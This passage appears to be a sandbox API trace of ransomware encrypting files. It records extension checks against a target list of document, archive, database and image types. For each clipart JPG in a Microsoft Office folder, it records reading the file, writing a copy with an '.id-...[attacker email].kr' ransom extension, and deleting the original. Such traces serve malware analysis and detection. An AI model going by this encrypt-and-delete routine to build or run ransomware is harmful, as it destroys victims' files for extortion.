lpString2=".JPG") returned -1 [0214.947] lstrlenW (lpString=".docx") returned 5 [0214.947] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0214.947] lstrlenW (lpString=".pdf") returned 4 [0214.947] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0214.947] lstrlenW (lpString=".xls") returned 4 [0214.947] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0214.947] lstrlenW (lpString=".xlsx") returned 5 [0214.947] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0214.947] lstrlenW (lpString=".ppt") returned 4 [0214.947] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0214.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0214.947] lstrlenW (lpString=".zip") returned 4 [0214.947] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0214.947] lstrlenW (lpString=".rar") returned 4 [0214.947] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0214.947] lstrlenW (lpString=".bz2") returned 4 [0214.947] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0214.947] lstrlenW (lpString=".7z") returned 3 [0214.947] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0214.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0214.947] lstrlenW (lpString=".dbf") returned 4 [0214.947] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0214.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0214.947] lstrlenW (lpString=".1cd") returned 4 [0214.947] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0214.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0214.947] lstrlenW (lpString=".jpg") returned 4 [0214.947] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0214.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0214.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0214.948] lstrlenW (lpString=".doc") returned 4 [0214.948] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0214.948] lstrlenW (lpString=".docx") returned 5 [0214.948] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0214.948] lstrlenW (lpString=".pdf") returned 4 [0214.948] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0214.948] lstrlenW (lpString=".xls") returned 4 [0214.948] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0214.948] lstrlenW (lpString=".xlsx") returned 5 [0214.948] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0214.948] lstrlenW (lpString=".ppt") returned 4 [0214.948] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0214.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0214.948] lstrlenW (lpString=".zip") returned 4 [0214.948] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0214.948] lstrlenW (lpString=".rar") returned 4 [0214.948] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0214.948] lstrlenW (lpString=".bz2") returned 4 [0214.948] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0214.948] lstrlenW (lpString=".7z") returned 3 [0214.948] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0214.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0214.948] lstrlenW (lpString=".dbf") returned 4 [0214.948] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0214.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0214.948] lstrlenW (lpString=".1cd") returned 4 [0214.948] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0214.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0214.948] lstrlenW (lpString=".jpg") returned 4 [0214.948] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0214.949] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0214.949] lstrlenW (lpString="J0145272.JPG") returned 12 [0214.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0214.949] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=49238) returned 1 [0214.949] CloseHandle (hObject=0x56c) returned 1 [0214.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 0x220 [0214.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0214.950] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.950] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0214.951] GetLastError () returned 0x0 [0214.951] ReadFile (in: hFile=0x56c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xc056, lpOverlapped=0x0) returned 1 [0214.953] WriteFile (in: hFile=0x378, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xc060, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xc060, lpOverlapped=0x0) returned 1 [0214.955] ReadFile (in: hFile=0x56c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0214.955] WriteFile (in: hFile=0x378, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0214.955] SetEndOfFile (hFile=0x378) returned 1 [0214.955] CloseHandle (hObject=0x378) returned 1 [0214.955] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.955] SetEndOfFile (hFile=0x56c) returned 1 [0214.959] CloseHandle (hObject=0x56c) returned 1 [0214.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 1 [0214.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0214.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0214.960] lstrlenW (lpString=".doc") returned 4 [0214.960] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0214.960] lstrlenW (lpString=".docx") returned 5 [0214.960] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0214.960] lstrlenW (lpString=".pdf") returned 4 [0214.960] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0214.960] lstrlenW (lpString=".xls") returned 4 [0214.960] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0214.961] lstrlenW (lpString=".xlsx") returned 5 [0214.961] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0214.961] lstrlenW (lpString=".ppt") returned 4 [0214.961] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0214.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0214.961] lstrlenW (lpString=".zip") returned 4 [0214.961] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0214.961] lstrlenW (lpString=".rar") returned 4 [0214.961] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0214.961] lstrlenW (lpString=".bz2") returned 4 [0214.961] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0214.961] lstrlenW (lpString=".7z") returned 3 [0214.961] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0214.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0214.961] lstrlenW (lpString=".dbf") returned 4 [0214.961] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0214.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0214.961] lstrlenW (lpString=".1cd") returned 4 [0214.961] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0214.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0214.961] lstrlenW (lpString=".jpg") returned 4 [0214.961] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0214.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0214.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0214.961] lstrlenW (lpString=".doc") returned 4 [0214.961] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0214.961] lstrlenW (lpString=".docx") returned 5 [0214.961] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0214.961] lstrlenW (lpString=".pdf") returned 4 [0214.961] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0214.961] lstrlenW (lpString=".xls") returned 4 [0214.961] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0214.961] lstrlenW (lpString=".xlsx") returned 5 [0214.961] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0214.962] lstrlenW (lpString=".ppt") returned 4 [0214.962] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0214.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0214.962] lstrlenW (lpString=".zip") returned 4 [0214.962] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0214.962] lstrlenW (lpString=".rar") returned 4 [0214.962] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0214.962] lstrlenW (lpString=".bz2") returned 4 [0214.962] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0214.962] lstrlenW (lpString=".7z") returned 3 [0214.962] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0214.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0214.962] lstrlenW (lpString=".dbf") returned 4 [0214.962] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0214.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0214.962] lstrlenW (lpString=".1cd") returned 4 [0214.962] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0214.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0214.962] lstrlenW (lpString=".jpg") returned 4 [0214.962] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0214.962] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0214.962] lstrlenW (lpString="J0145361.JPG") returned 12 [0214.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0214.965] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=21125) returned 1 [0214.965] CloseHandle (hObject=0x56c) returned 1 [0214.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 0x220 [0214.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0214.966] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.966] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0214.967] GetLastError () returned 0x0 [0214.967] ReadFile (in: hFile=0x56c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x5285, lpOverlapped=0x0) returned 1 [0215.272] WriteFile (in: hFile=0x378, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x5290, lpOverlapped=0x0) returned 1 [0215.341] ReadFile (in: hFile=0x56c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.341] WriteFile (in: hFile=0x378, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0215.341] SetEndOfFile (hFile=0x378) returned 1 [0215.342] CloseHandle (hObject=0x378) returned 1 [0215.342] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.342] SetEndOfFile (hFile=0x56c) returned 1 [0215.345] CloseHandle (hObject=0x56c) returned 1 [0215.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.345] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 1 [0215.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0215.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0215.346] lstrlenW (lpString=".doc") returned 4 [0215.346] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.346] lstrlenW (lpString=".docx") returned 5 [0215.346] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0215.346] lstrlenW (lpString=".pdf") returned 4 [0215.347] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.347] lstrlenW (lpString=".xls") returned 4 [0215.347] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.347] lstrlenW (lpString=".xlsx") returned 5 [0215.347] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0215.347] lstrlenW (lpString=".ppt") returned 4 [0215.347] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0215.347] lstrlenW (lpString=".zip") returned 4 [0215.347] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.347] lstrlenW (lpString=".rar") returned 4 [0215.347] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.347] lstrlenW (lpString=".bz2") returned 4 [0215.347] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.347] lstrlenW (lpString=".7z") returned 3 [0215.347] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0215.347] lstrlenW (lpString=".dbf") returned 4 [0215.347] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0215.347] lstrlenW (lpString=".1cd") returned 4 [0215.347] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0215.347] lstrlenW (lpString=".jpg") returned 4 [0215.347] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0215.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0215.347] lstrlenW (lpString=".doc") returned 4 [0215.347] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.347] lstrlenW (lpString=".docx") returned 5 [0215.347] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0215.347] lstrlenW (lpString=".pdf") returned 4 [0215.347] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.348] lstrlenW (lpString=".xls") returned 4 [0215.348] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.348] lstrlenW (lpString=".xlsx") returned 5 [0215.348] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0215.348] lstrlenW (lpString=".ppt") returned 4 [0215.348] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0215.348] lstrlenW (lpString=".zip") returned 4 [0215.348] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.348] lstrlenW (lpString=".rar") returned 4 [0215.348] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.348] lstrlenW (lpString=".bz2") returned 4 [0215.348] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.348] lstrlenW (lpString=".7z") returned 3 [0215.348] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0215.348] lstrlenW (lpString=".dbf") returned 4 [0215.348] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0215.348] lstrlenW (lpString=".1cd") returned 4 [0215.348] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0215.348] lstrlenW (lpString=".jpg") returned 4 [0215.348] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.348] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0215.348] lstrlenW (lpString="J0146142.JPG") returned 12 [0215.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0215.350] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=46508) returned 1 [0215.350] CloseHandle (hObject=0x56c) returned 1 [0215.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 0x220 [0215.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0215.395] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.395] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0215.398] GetLastError () returned 0x0 [0215.398] ReadFile (in: hFile=0x56c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xb5ac, lpOverlapped=0x0) returned 1 [0215.400] WriteFile (in: hFile=0x378, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xb5b0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xb5b0, lpOverlapped=0x0) returned 1 [0215.402] ReadFile (in: hFile=0x56c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.402] WriteFile (in: hFile=0x378, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0215.402] SetEndOfFile (hFile=0x378) returned 1 [0215.402] CloseHandle (hObject=0x378) returned 1 [0215.402] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.402] SetEndOfFile (hFile=0x56c) returned 1 [0215.406] CloseHandle (hObject=0x56c) returned 1 [0215.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 1 [0215.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0215.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0215.407] lstrlenW (lpString=".doc") returned 4 [0215.408] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.408] lstrlenW (lpString=".docx") returned 5 [0215.408] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0215.408] lstrlenW (lpString=".pdf") returned 4 [0215.408] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.408] lstrlenW (lpString=".xls") returned 4 [0215.408] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.408] lstrlenW (lpString=".xlsx") returned 5 [0215.408] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0215.408] lstrlenW (lpString=".ppt") returned 4 [0215.408] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.408] 